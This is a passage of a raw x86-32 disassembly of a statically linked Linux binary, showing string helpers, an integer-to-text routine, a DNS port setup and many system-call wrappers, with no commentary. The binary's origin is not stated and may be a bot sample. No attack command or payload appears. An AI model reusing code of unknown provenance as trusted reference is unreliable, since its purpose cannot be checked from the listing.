804be63: 66 c7 44 24 12 00 35 movw $0x3500,0x12(%esp) | |
804be6a: 50 push %eax | |
804be6b: 6a 10 push $0x10 | |
804be6d: 53 push %ebx | |
804be6e: 56 push %esi | |
804be6f: e8 13 08 00 00 call 0x804c687 | |
804be74: 83 c4 0c add $0xc,%esp | |
804be77: 8d 44 24 24 lea 0x24(%esp),%eax | |
804be7b: 50 push %eax | |
804be7c: 53 push %ebx | |
804be7d: 56 push %esi | |
804be7e: e8 2f 08 00 00 call 0x804c6b2 | |
804be83: 89 34 24 mov %esi,(%esp) | |
804be86: e8 48 02 00 00 call 0x804c0d3 | |
804be8b: 8b 44 24 24 mov 0x24(%esp),%eax | |
804be8f: 83 c4 10 add $0x10,%esp | |
804be92: 83 c4 24 add $0x24,%esp | |
804be95: 5b pop %ebx | |
804be96: 5e pop %esi | |
804be97: c3 ret | |
804be98: 90 nop | |
804be99: 90 nop | |
804be9a: 90 nop | |
804be9b: 90 nop | |
804be9c: 90 nop | |
804be9d: 90 nop | |
804be9e: 90 nop | |
804be9f: 90 nop | |
804bea0: 55 push %ebp | |
804bea1: 57 push %edi | |
804bea2: 56 push %esi | |
804bea3: 53 push %ebx | |
804bea4: 83 ec 04 sub $0x4,%esp | |
804bea7: 8b 6c 24 20 mov 0x20(%esp),%ebp | |
804beab: c7 04 24 00 00 00 00 movl $0x0,(%esp) | |
804beb2: 80 7d 00 00 cmpb $0x0,0x0(%ebp) | |
804beb6: 74 10 je 0x804bec8 | |
804beb8: 8b 1c 24 mov (%esp),%ebx | |
804bebb: 43 inc %ebx | |
804bebc: 89 1c 24 mov %ebx,(%esp) | |
804bebf: 8b 04 24 mov (%esp),%eax | |
804bec2: 80 3c 28 00 cmpb $0x0,(%eax,%ebp,1) | |
804bec6: 75 f0 jne 0x804beb8 | |
804bec8: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
804becc: 31 ff xor %edi,%edi | |
804bece: 8b 74 24 18 mov 0x18(%esp),%esi | |
804bed2: 85 db test %ebx,%ebx | |
804bed4: 7e 26 jle 0x804befc | |
804bed6: 8a 0e mov (%esi),%cl | |
804bed8: 8a 54 3d 00 mov 0x0(%ebp,%edi,1),%dl | |
804bedc: 46 inc %esi | |
804bedd: 8d 41 bf lea -0x41(%ecx),%eax | |
804bee0: 3c 19 cmp $0x19,%al | |
804bee2: 77 03 ja 0x804bee7 | |
804bee4: 83 c9 60 or $0x60,%ecx | |
804bee7: 8d 42 bf lea -0x41(%edx),%eax | |
804beea: 3c 19 cmp $0x19,%al | |
804beec: 77 03 ja 0x804bef1 | |
804beee: 83 ca 60 or $0x60,%edx | |
804bef1: 38 d1 cmp %dl,%cl | |
804bef3: 74 10 je 0x804bf05 | |
804bef5: 31 ff xor %edi,%edi | |
804bef7: 4b dec %ebx | |
804bef8: 85 db test %ebx,%ebx | |
804befa: 7f da jg 0x804bed6 | |
804befc: 83 c8 ff or $0xffffffff,%eax | |
804beff: 5a pop %edx | |
804bf00: 5b pop %ebx | |
804bf01: 5e pop %esi | |
804bf02: 5f pop %edi | |
804bf03: 5d pop %ebp | |
804bf04: c3 ret | |
804bf05: 47 inc %edi | |
804bf06: 39 3c 24 cmp %edi,(%esp) | |
804bf09: 75 ec jne 0x804bef7 | |
804bf0b: 89 f0 mov %esi,%eax | |
804bf0d: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
804bf11: 29 c8 sub %ecx,%eax | |
804bf13: 5a pop %edx | |
804bf14: 5b pop %ebx | |
804bf15: 5e pop %esi | |
804bf16: 5f pop %edi | |
804bf17: 5d pop %ebp | |
804bf18: c3 ret | |
804bf19: 90 nop | |
804bf1a: 90 nop | |
804bf1b: 90 nop | |
804bf1c: 90 nop | |
804bf1d: 90 nop | |
804bf1e: 90 nop | |
804bf1f: 90 nop | |
804bf20: 56 push %esi | |
804bf21: 53 push %ebx | |
804bf22: 8b 5c 24 0c mov 0xc(%esp),%ebx | |
804bf26: 31 f6 xor %esi,%esi | |
804bf28: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
804bf2c: 80 3b 00 cmpb $0x0,(%ebx) | |
804bf2f: 74 07 je 0x804bf38 | |
804bf31: 46 inc %esi | |
804bf32: 80 3c 1e 00 cmpb $0x0,(%esi,%ebx,1) | |
804bf36: 75 f9 jne 0x804bf31 | |
804bf38: 31 c0 xor %eax,%eax | |
804bf3a: 80 39 00 cmpb $0x0,(%ecx) | |
804bf3d: 74 08 je 0x804bf47 | |
804bf3f: 90 nop | |
804bf40: 40 inc %eax | |
804bf41: 80 3c 08 00 cmpb $0x0,(%eax,%ecx,1) | |
804bf45: 75 f9 jne 0x804bf40 | |
804bf47: 89 c2 mov %eax,%edx | |
804bf49: 39 c6 cmp %eax,%esi | |
804bf4b: 74 07 je 0x804bf54 | |
804bf4d: 31 c0 xor %eax,%eax | |
804bf4f: 5b pop %ebx | |
804bf50: 5e pop %esi | |
804bf51: c3 ret | |
804bf52: 43 inc %ebx | |
804bf53: 41 inc %ecx | |
804bf54: 4a dec %edx | |
804bf55: 83 fa ff cmp $0xffffffff,%edx | |
804bf58: 74 08 je 0x804bf62 | |
804bf5a: 8a 03 mov (%ebx),%al | |
804bf5c: 3a 01 cmp (%ecx),%al | |
804bf5e: 74 f2 je 0x804bf52 | |
804bf60: eb eb jmp 0x804bf4d | |
804bf62: b8 01 00 00 00 mov $0x1,%eax | |
804bf67: 5b pop %ebx | |
804bf68: 5e pop %esi | |
804bf69: c3 ret | |
804bf6a: 90 nop | |
804bf6b: 90 nop | |
804bf6c: 90 nop | |
804bf6d: 90 nop | |
804bf6e: 90 nop | |
804bf6f: 90 nop | |
804bf70: 55 push %ebp | |
804bf71: 57 push %edi | |
804bf72: 56 push %esi | |
804bf73: 53 push %ebx | |
804bf74: 83 ec 30 sub $0x30,%esp | |
804bf77: 8b 7c 24 4c mov 0x4c(%esp),%edi | |
804bf7b: 8b 44 24 44 mov 0x44(%esp),%eax | |
804bf7f: 8b 74 24 48 mov 0x48(%esp),%esi | |
804bf83: 85 ff test %edi,%edi | |
804bf85: 74 69 je 0x804bff0 | |
804bf87: 85 c0 test %eax,%eax | |
804bf89: 74 75 je 0x804c000 | |
804bf8b: c6 44 24 2f 00 movb $0x0,0x2f(%esp) | |
804bf90: 83 fe 0a cmp $0xa,%esi | |
804bf93: 0f 84 84 00 00 00 je 0x804c01d | |
804bf99: 89 c1 mov %eax,%ecx | |
804bf9b: 31 ed xor %ebp,%ebp | |
804bf9d: bb 20 00 00 00 mov $0x20,%ebx | |
804bfa2: 31 d2 xor %edx,%edx | |
804bfa4: 89 c8 mov %ecx,%eax | |
804bfa6: f7 f6 div %esi | |
804bfa8: 83 fa 09 cmp $0x9,%edx | |
804bfab: 8d 42 30 lea 0x30(%edx),%eax | |
804bfae: 7e 03 jle 0x804bfb3 | |
804bfb0: 8d 42 37 lea 0x37(%edx),%eax | |
804bfb3: 88 44 1c 0e mov %al,0xe(%esp,%ebx,1) | |
804bfb7: 31 d2 xor %edx,%edx | |
804bfb9: 89 c8 mov %ecx,%eax | |
804bfbb: 4b dec %ebx | |
804bfbc: f7 f6 div %esi | |
804bfbe: 89 c1 mov %eax,%ecx | |
804bfc0: 85 c0 test %eax,%eax | |
804bfc2: 75 de jne 0x804bfa2 | |
804bfc4: 85 ed test %ebp,%ebp | |
804bfc6: 75 4e jne 0x804c016 | |
804bfc8: 43 inc %ebx | |
804bfc9: 8d 44 1c 0e lea 0xe(%esp,%ebx,1),%eax | |
804bfcd: 80 38 00 cmpb $0x0,(%eax) | |
804bfd0: 74 63 je 0x804c035 | |
804bfd2: 31 c9 xor %ecx,%ecx | |
804bfd4: 41 inc %ecx | |
804bfd5: 80 3c 01 00 cmpb $0x0,(%ecx,%eax,1) | |
804bfd9: 75 f9 jne 0x804bfd4 | |
804bfdb: 83 f9 ff cmp $0xffffffff,%ecx | |
804bfde: 74 10 je 0x804bff0 | |
804bfe0: 89 fb mov %edi,%ebx | |
804bfe2: 89 c2 mov %eax,%edx | |
804bfe4: 8a 02 mov (%edx),%al | |
804bfe6: 49 dec %ecx | |
804bfe7: 88 03 mov %al,(%ebx) | |
804bfe9: 42 inc %edx | |
804bfea: 43 inc %ebx | |
804bfeb: 83 f9 ff cmp $0xffffffff,%ecx | |
804bfee: 75 f4 jne 0x804bfe4 | |
804bff0: 83 c4 30 add $0x30,%esp | |
804bff3: 89 f8 mov %edi,%eax | |
804bff5: 5b pop %ebx | |
804bff6: 5e pop %esi | |
804bff7: 5f pop %edi | |
804bff8: 5d pop %ebp | |
804bff9: c3 ret | |
804bffa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
804c000: c6 07 30 movb $0x30,(%edi) | |
804c003: c6 47 01 00 movb $0x0,0x1(%edi) | |
804c007: 89 f8 mov %edi,%eax | |
804c009: 83 c4 30 add $0x30,%esp | |
804c00c: 5b pop %ebx | |
804c00d: 5e pop %esi | |
804c00e: 5f pop %edi | |
804c00f: 5d pop %ebp | |
804c010: c3 ret | |
804c011: bb 20 00 00 00 mov $0x20,%ebx | |
804c016: c6 44 1c 0e 2d movb $0x2d,0xe(%esp,%ebx,1) | |
804c01b: eb ac jmp 0x804bfc9 | |
804c01d: 85 c0 test %eax,%eax | |
804c01f: 0f 89 74 ff ff ff jns 0x804bf99 | |
804c025: 89 c1 mov %eax,%ecx | |
804c027: f7 d9 neg %ecx | |
804c029: 74 e6 je 0x804c011 | |
804c02b: bd 01 00 00 00 mov $0x1,%ebp | |
804c030: e9 68 ff ff ff jmp 0x804bf9d | |
804c035: 89 fb mov %edi,%ebx | |
804c037: 89 c2 mov %eax,%edx | |
804c039: 31 c9 xor %ecx,%ecx | |
804c03b: eb a7 jmp 0x804bfe4 | |
804c03d: 57 push %edi | |
804c03e: 53 push %ebx | |
804c03f: 83 ec 14 sub $0x14,%esp | |
804c042: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804c046: 8d 44 24 2c lea 0x2c(%esp),%eax | |
804c04a: 89 44 24 10 mov %eax,0x10(%esp) | |
804c04e: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c052: 8d 41 f4 lea -0xc(%ecx),%eax | |
804c055: 8b 54 24 28 mov 0x28(%esp),%edx | |
804c059: 83 f8 02 cmp $0x2,%eax | |
804c05c: 77 0e ja 0x804c06c | |
804c05e: 50 push %eax | |
804c05f: 52 push %edx | |
804c060: 51 push %ecx | |
804c061: 57 push %edi | |
804c062: e8 2d 00 00 00 call 0x804c094 | |
804c067: 83 c4 10 add $0x10,%esp | |
804c06a: eb 22 jmp 0x804c08e | |
804c06c: 53 push %ebx | |
804c06d: 89 fb mov %edi,%ebx | |
804c06f: b8 37 00 00 00 mov $0x37,%eax | |
804c074: cd 80 int $0x80 | |
804c076: 5b pop %ebx | |
804c077: 89 c3 mov %eax,%ebx | |
804c079: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c07e: 76 0c jbe 0x804c08c | |
804c080: e8 31 05 00 00 call 0x804c5b6 | |
804c085: f7 db neg %ebx | |
804c087: 89 18 mov %ebx,(%eax) | |
804c089: 83 cb ff or $0xffffffff,%ebx | |
804c08c: 89 d8 mov %ebx,%eax | |
804c08e: 83 c4 14 add $0x14,%esp | |
804c091: 5b pop %ebx | |
804c092: 5f pop %edi | |
804c093: c3 ret | |
804c094: 57 push %edi | |
804c095: 83 ec 18 sub $0x18,%esp | |
804c098: 8d 44 24 2c lea 0x2c(%esp),%eax | |
804c09c: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c0a0: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804c0a4: 89 44 24 14 mov %eax,0x14(%esp) | |
804c0a8: 8b 54 24 28 mov 0x28(%esp),%edx | |
804c0ac: 53 push %ebx | |
804c0ad: 89 fb mov %edi,%ebx | |
804c0af: b8 dd 00 00 00 mov $0xdd,%eax | |
804c0b4: cd 80 int $0x80 | |
804c0b6: 5b pop %ebx | |
804c0b7: 89 c7 mov %eax,%edi | |
804c0b9: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c0be: 76 0c jbe 0x804c0cc | |
804c0c0: e8 f1 04 00 00 call 0x804c5b6 | |
804c0c5: f7 df neg %edi | |
804c0c7: 89 38 mov %edi,(%eax) | |
804c0c9: 83 cf ff or $0xffffffff,%edi | |
804c0cc: 89 f8 mov %edi,%eax | |
804c0ce: 83 c4 18 add $0x18,%esp | |
804c0d1: 5f pop %edi | |
804c0d2: c3 ret | |
804c0d3: 57 push %edi | |
804c0d4: 83 ec 08 sub $0x8,%esp | |
804c0d7: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c0db: 53 push %ebx | |
804c0dc: 89 fb mov %edi,%ebx | |
804c0de: b8 06 00 00 00 mov $0x6,%eax | |
804c0e3: cd 80 int $0x80 | |
804c0e5: 5b pop %ebx | |
804c0e6: 89 c7 mov %eax,%edi | |
804c0e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c0ed: 76 0c jbe 0x804c0fb | |
804c0ef: e8 c2 04 00 00 call 0x804c5b6 | |
804c0f4: f7 df neg %edi | |
804c0f6: 89 38 mov %edi,(%eax) | |
804c0f8: 83 cf ff or $0xffffffff,%edi | |
804c0fb: 89 f8 mov %edi,%eax | |
804c0fd: 5a pop %edx | |
804c0fe: 59 pop %ecx | |
804c0ff: 5f pop %edi | |
804c100: c3 ret | |
804c101: 53 push %ebx | |
804c102: 83 ec 08 sub $0x8,%esp | |
804c105: b8 02 00 00 00 mov $0x2,%eax | |
804c10a: cd 80 int $0x80 | |
804c10c: 89 c3 mov %eax,%ebx | |
804c10e: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c113: 76 0c jbe 0x804c121 | |
804c115: e8 9c 04 00 00 call 0x804c5b6 | |
804c11a: f7 db neg %ebx | |
804c11c: 89 18 mov %ebx,(%eax) | |
804c11e: 83 cb ff or $0xffffffff,%ebx | |
804c121: 89 d8 mov %ebx,%eax | |
804c123: 5a pop %edx | |
804c124: 59 pop %ecx | |
804c125: 5b pop %ebx | |
804c126: c3 ret | |
804c127: 53 push %ebx | |
804c128: 83 ec 08 sub $0x8,%esp | |
804c12b: b8 14 00 00 00 mov $0x14,%eax | |
804c130: cd 80 int $0x80 | |
804c132: 89 c3 mov %eax,%ebx | |
804c134: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c139: 76 0c jbe 0x804c147 | |
804c13b: e8 76 04 00 00 call 0x804c5b6 | |
804c140: f7 db neg %ebx | |
804c142: 89 18 mov %ebx,(%eax) | |
804c144: 83 cb ff or $0xffffffff,%ebx | |
804c147: 89 d8 mov %ebx,%eax | |
804c149: 5a pop %edx | |
804c14a: 59 pop %ecx | |
804c14b: 5b pop %ebx | |
804c14c: c3 ret | |
804c14d: 53 push %ebx | |
804c14e: 83 ec 08 sub $0x8,%esp | |
804c151: b8 40 00 00 00 mov $0x40,%eax | |
804c156: cd 80 int $0x80 | |
804c158: 89 c3 mov %eax,%ebx | |
804c15a: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c15f: 76 0c jbe 0x804c16d | |
804c161: e8 50 04 00 00 call 0x804c5b6 | |
804c166: f7 db neg %ebx | |
804c168: 89 18 mov %ebx,(%eax) | |
804c16a: 83 cb ff or $0xffffffff,%ebx | |
804c16d: 89 d8 mov %ebx,%eax | |
804c16f: 5a pop %edx | |
804c170: 59 pop %ecx | |
804c171: 5b pop %ebx | |
804c172: c3 ret | |
804c173: 57 push %edi | |
804c174: 83 ec 18 sub $0x18,%esp | |
804c177: 8d 44 24 2c lea 0x2c(%esp),%eax | |
804c17b: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c17f: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804c183: 89 44 24 14 mov %eax,0x14(%esp) | |
804c187: 8b 54 24 28 mov 0x28(%esp),%edx | |
804c18b: 53 push %ebx | |
804c18c: 89 fb mov %edi,%ebx | |
804c18e: b8 36 00 00 00 mov $0x36,%eax | |
804c193: cd 80 int $0x80 | |
804c195: 5b pop %ebx | |
804c196: 89 c7 mov %eax,%edi | |
804c198: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c19d: 76 0c jbe 0x804c1ab | |
804c19f: e8 12 04 00 00 call 0x804c5b6 | |
804c1a4: f7 df neg %edi | |
804c1a6: 89 38 mov %edi,(%eax) | |
804c1a8: 83 cf ff or $0xffffffff,%edi | |
804c1ab: 89 f8 mov %edi,%eax | |
804c1ad: 83 c4 18 add $0x18,%esp | |
804c1b0: 5f pop %edi | |
804c1b1: c3 ret | |
804c1b2: 53 push %ebx | |
804c1b3: 83 ec 08 sub $0x8,%esp | |
804c1b6: 8b 54 24 10 mov 0x10(%esp),%edx | |
804c1ba: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c1be: 87 d3 xchg %edx,%ebx | |
804c1c0: b8 25 00 00 00 mov $0x25,%eax | |
804c1c5: cd 80 int $0x80 | |
804c1c7: 87 d3 xchg %edx,%ebx | |
804c1c9: 89 c3 mov %eax,%ebx | |
804c1cb: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c1d0: 76 0c jbe 0x804c1de | |
804c1d2: e8 df 03 00 00 call 0x804c5b6 | |
804c1d7: f7 db neg %ebx | |
804c1d9: 89 18 mov %ebx,(%eax) | |
804c1db: 83 cb ff or $0xffffffff,%ebx | |
804c1de: 89 d8 mov %ebx,%eax | |
804c1e0: 5a pop %edx | |
804c1e1: 59 pop %ecx | |
804c1e2: 5b pop %ebx | |
804c1e3: c3 ret | |
804c1e4: 57 push %edi | |
804c1e5: 53 push %ebx | |
804c1e6: 83 ec 14 sub $0x14,%esp | |
804c1e9: 31 c0 xor %eax,%eax | |
804c1eb: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804c1ef: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c1f3: f6 c1 40 test $0x40,%cl | |
804c1f6: 74 0c je 0x804c204 | |
804c1f8: 8d 44 24 2c lea 0x2c(%esp),%eax | |
804c1fc: 89 44 24 10 mov %eax,0x10(%esp) | |
804c200: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c204: 0f b7 d0 movzwl %ax,%edx | |
804c207: 53 push %ebx | |
804c208: 89 fb mov %edi,%ebx | |
804c20a: b8 05 00 00 00 mov $0x5,%eax | |
804c20f: cd 80 int $0x80 | |
804c211: 5b pop %ebx | |
804c212: 89 c3 mov %eax,%ebx | |
804c214: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c219: 76 0c jbe 0x804c227 | |
804c21b: e8 96 03 00 00 call 0x804c5b6 | |
804c220: f7 db neg %ebx | |
804c222: 89 18 mov %ebx,(%eax) | |
804c224: 83 cb ff or $0xffffffff,%ebx | |
804c227: 89 d8 mov %ebx,%eax | |
804c229: 83 c4 14 add $0x14,%esp | |
804c22c: 5b pop %ebx | |
804c22d: 5f pop %edi | |
804c22e: c3 ret | |
804c22f: 57 push %edi | |
804c230: 56 push %esi | |
804c231: 83 ec 04 sub $0x4,%esp | |
804c234: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c238: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c23c: 8b 74 24 1c mov 0x1c(%esp),%esi | |
804c240: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c244: 8b 44 24 10 mov 0x10(%esp),%eax | |
804c248: 53 push %ebx | |
804c249: 89 c3 mov %eax,%ebx | |
804c24b: b8 ac 00 00 00 mov $0xac,%eax | |
804c250: cd 80 int $0x80 | |
804c252: 5b pop %ebx | |
804c253: 89 c6 mov %eax,%esi | |
804c255: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c25a: 76 0c jbe 0x804c268 | |
804c25c: e8 55 03 00 00 call 0x804c5b6 | |
804c261: f7 de neg %esi | |
804c263: 89 30 mov %esi,(%eax) | |
804c265: 83 ce ff or $0xffffffff,%esi | |
804c268: 89 f0 mov %esi,%eax | |
804c26a: 5a pop %edx | |
804c26b: 5e pop %esi | |
804c26c: 5f pop %edi | |
804c26d: c3 ret | |
804c26e: 57 push %edi | |
804c26f: 83 ec 08 sub $0x8,%esp | |
804c272: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c276: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c27a: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c27e: 53 push %ebx | |
804c27f: 89 fb mov %edi,%ebx | |
804c281: b8 03 00 00 00 mov $0x3,%eax | |
804c286: cd 80 int $0x80 | |
804c288: 5b pop %ebx | |
804c289: 89 c7 mov %eax,%edi | |
804c28b: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c290: 76 0c jbe 0x804c29e | |
804c292: e8 1f 03 00 00 call 0x804c5b6 | |
804c297: f7 df neg %edi | |
804c299: 89 38 mov %edi,(%eax) | |
804c29b: 83 cf ff or $0xffffffff,%edi | |
804c29e: 89 f8 mov %edi,%eax | |
804c2a0: 5a pop %edx | |
804c2a1: 59 pop %ecx | |
804c2a2: 5f pop %edi | |
804c2a3: c3 ret | |
804c2a4: 57 push %edi | |
804c2a5: 83 ec 08 sub $0x8,%esp | |
804c2a8: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c2ac: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c2b0: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c2b4: 53 push %ebx | |
804c2b5: 89 fb mov %edi,%ebx | |
804c2b7: b8 55 00 00 00 mov $0x55,%eax | |
804c2bc: cd 80 int $0x80 | |
804c2be: 5b pop %ebx | |
804c2bf: 89 c7 mov %eax,%edi | |
804c2c1: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c2c6: 76 0c jbe 0x804c2d4 | |
804c2c8: e8 e9 02 00 00 call 0x804c5b6 | |
804c2cd: f7 df neg %edi | |
804c2cf: 89 38 mov %edi,(%eax) | |
804c2d1: 83 cf ff or $0xffffffff,%edi | |
804c2d4: 89 f8 mov %edi,%eax | |
804c2d6: 5a pop %edx | |
804c2d7: 59 pop %ecx | |
804c2d8: 5f pop %edi | |
804c2d9: c3 ret | |
804c2da: 57 push %edi | |
804c2db: 56 push %esi | |
804c2dc: 83 ec 04 sub $0x4,%esp | |
804c2df: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c2e3: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c2e7: 8b 74 24 1c mov 0x1c(%esp),%esi | |
804c2eb: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c2ef: 8b 44 24 10 mov 0x10(%esp),%eax | |
804c2f3: 53 push %ebx | |
804c2f4: 89 c3 mov %eax,%ebx | |
804c2f6: b8 8e 00 00 00 mov $0x8e,%eax | |
804c2fb: cd 80 int $0x80 | |
804c2fd: 5b pop %ebx | |
804c2fe: 89 c6 mov %eax,%esi | |
804c300: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c305: 76 0c jbe 0x804c313 | |
804c307: e8 aa 02 00 00 call 0x804c5b6 | |
804c30c: f7 de neg %esi | |
804c30e: 89 30 mov %esi,(%eax) | |
804c310: 83 ce ff or $0xffffffff,%esi | |
804c313: 89 f0 mov %esi,%eax | |
804c315: 5a pop %edx | |
804c316: 5e pop %esi | |
804c317: 5f pop %edi | |
804c318: c3 ret | |
804c319: 53 push %ebx | |
804c31a: 83 ec 08 sub $0x8,%esp | |
804c31d: b8 42 00 00 00 mov $0x42,%eax | |
804c322: cd 80 int $0x80 | |
804c324: 89 c3 mov %eax,%ebx | |
804c326: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c32b: 76 0c jbe 0x804c339 | |
804c32d: e8 84 02 00 00 call 0x804c5b6 | |
804c332: f7 db neg %ebx | |
804c334: 89 18 mov %ebx,(%eax) | |
804c336: 83 cb ff or $0xffffffff,%ebx | |
804c339: 89 d8 mov %ebx,%eax | |
804c33b: 5a pop %edx | |
804c33c: 59 pop %ecx | |
804c33d: 5b pop %ebx | |
804c33e: c3 ret | |
804c33f: 57 push %edi | |
804c340: 83 ec 08 sub $0x8,%esp | |
804c343: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c347: 53 push %ebx | |
804c348: 89 fb mov %edi,%ebx | |
804c34a: b8 0d 00 00 00 mov $0xd,%eax | |
804c34f: cd 80 int $0x80 | |
804c351: 5b pop %ebx | |
804c352: 89 c7 mov %eax,%edi | |
804c354: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c359: 76 0c jbe 0x804c367 | |
804c35b: e8 56 02 00 00 call 0x804c5b6 | |
804c360: f7 df neg %edi | |
804c362: 89 38 mov %edi,(%eax) | |
804c364: 83 cf ff or $0xffffffff,%edi | |
804c367: 89 f8 mov %edi,%eax | |
804c369: 5a pop %edx | |
804c36a: 59 pop %ecx | |
804c36b: 5f pop %edi | |
804c36c: c3 ret | |
804c36d: 57 push %edi | |
804c36e: 83 ec 08 sub $0x8,%esp | |
804c371: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c375: 53 push %ebx | |
804c376: 89 fb mov %edi,%ebx | |
804c378: b8 0a 00 00 00 mov $0xa,%eax | |
804c37d: cd 80 int $0x80 | |
804c37f: 5b pop %ebx | |
804c380: 89 c7 mov %eax,%edi | |
804c382: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c387: 76 0c jbe 0x804c395 | |
804c389: e8 28 02 00 00 call 0x804c5b6 | |
804c38e: f7 df neg %edi | |
804c390: 89 38 mov %edi,(%eax) | |
804c392: 83 cf ff or $0xffffffff,%edi | |
804c395: 89 f8 mov %edi,%eax | |
804c397: 5a pop %edx | |
804c398: 59 pop %ecx | |
804c399: 5f pop %edi | |
804c39a: c3 ret | |
804c39b: 57 push %edi | |
804c39c: 83 ec 08 sub $0x8,%esp | |
804c39f: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c3a3: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c3a7: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c3ab: 53 push %ebx | |
804c3ac: 89 fb mov %edi,%ebx | |
804c3ae: b8 04 00 00 00 mov $0x4,%eax | |
804c3b3: cd 80 int $0x80 | |
804c3b5: 5b pop %ebx | |
804c3b6: 89 c7 mov %eax,%edi | |
804c3b8: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c3bd: 76 0c jbe 0x804c3cb | |
804c3bf: e8 f2 01 00 00 call 0x804c5b6 | |
804c3c4: f7 df neg %edi | |
804c3c6: 89 38 mov %edi,(%eax) | |
804c3c8: 83 cf ff or $0xffffffff,%edi | |
804c3cb: 89 f8 mov %edi,%eax | |
804c3cd: 5a pop %edx | |
804c3ce: 59 pop %ecx | |
804c3cf: 5f pop %edi | |
804c3d0: c3 ret | |
804c3d1: 57 push %edi | |
804c3d2: 56 push %esi | |
804c3d3: 53 push %ebx | |
804c3d4: 83 ec 10 sub $0x10,%esp | |
804c3d7: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c3db: 83 3f ff cmpl $0xffffffff,(%edi) | |
804c3de: 75 10 jne 0x804c3f0 | |
804c3e0: e8 d1 01 00 00 call 0x804c5b6 | |
804c3e5: c7 00 09 00 00 00 movl $0x9,(%eax) | |
804c3eb: 83 c8 ff or $0xffffffff,%eax | |
804c3ee: eb 4a jmp 0x804c43a | |
804c3f0: 8d 5f 18 lea 0x18(%edi),%ebx | |
804c3f3: 56 push %esi | |
804c3f4: 53 push %ebx | |
804c3f5: 68 99 dd 04 08 push $0x804dd99 | |
804c3fa: 8d 74 24 0c lea 0xc(%esp),%esi | |
804c3fe: 56 push %esi | |
804c3ff: e8 98 19 00 00 call 0x804dd9c | |
804c404: 89 1c 24 mov %ebx,(%esp) | |
804c407: e8 8d 19 00 00 call 0x804dd99 | |
804c40c: 8b 1f mov (%edi),%ebx | |
804c40e: c7 07 ff ff ff ff movl $0xffffffff,(%edi) | |
804c414: 5a pop %edx | |
804c415: 59 pop %ecx | |
804c416: 6a 01 push $0x1 | |
804c418: 56 push %esi | |
804c419: e8 7e 19 00 00 call 0x804dd9c | |
804c41e: 58 pop %eax | |
804c41f: ff 77 0c pushl 0xc(%edi) | |
804c422: e8 0e 12 00 00 call 0x804d635 | |
804c427: 89 3c 24 mov %edi,(%esp) | |
804c42a: e8 06 12 00 00 call 0x804d635 | |
804c42f: 89 1c 24 mov %ebx,(%esp) | |
804c432: e8 9c fc ff ff call 0x804c0d3 | |
804c437: 83 c4 10 add $0x10,%esp | |
804c43a: 83 c4 10 add $0x10,%esp | |
804c43d: 5b pop %ebx | |
804c43e: 5e pop %esi | |
804c43f: 5f pop %edi | |
804c440: c3 ret | |
804c441: 57 push %edi | |
804c442: 56 push %esi | |
804c443: 53 push %ebx | |
804c444: 31 db xor %ebx,%ebx | |
804c446: 83 ec 68 sub $0x68,%esp | |
804c449: 68 00 08 01 00 push $0x10800 | |
804c44e: ff 74 24 7c pushl 0x7c(%esp) | |
804c452: e8 8d fd ff ff call 0x804c1e4 | |
804c457: 83 c4 10 add $0x10,%esp | |
804c45a: 89 c7 mov %eax,%edi | |
804c45c: 85 c0 test %eax,%eax | |
804c45e: 0f 88 c5 00 00 00 js 0x804c529 | |
804c464: 53 push %ebx | |
804c465: 53 push %ebx | |
804c466: 8d 44 24 10 lea 0x10(%esp),%eax | |
804c46a: 50 push %eax | |
804c46b: 57 push %edi | |
804c46c: e8 25 1d 00 00 call 0x804e196 | |
804c471: 83 c4 10 add $0x10,%esp | |
804c474: 85 c0 test %eax,%eax | |
804c476: 78 12 js 0x804c48a | |
804c478: 51 push %ecx | |
804c479: 6a 01 push $0x1 | |
804c47b: 6a 02 push $0x2 | |
804c47d: 57 push %edi | |
804c47e: e8 ba fb ff ff call 0x804c03d | |
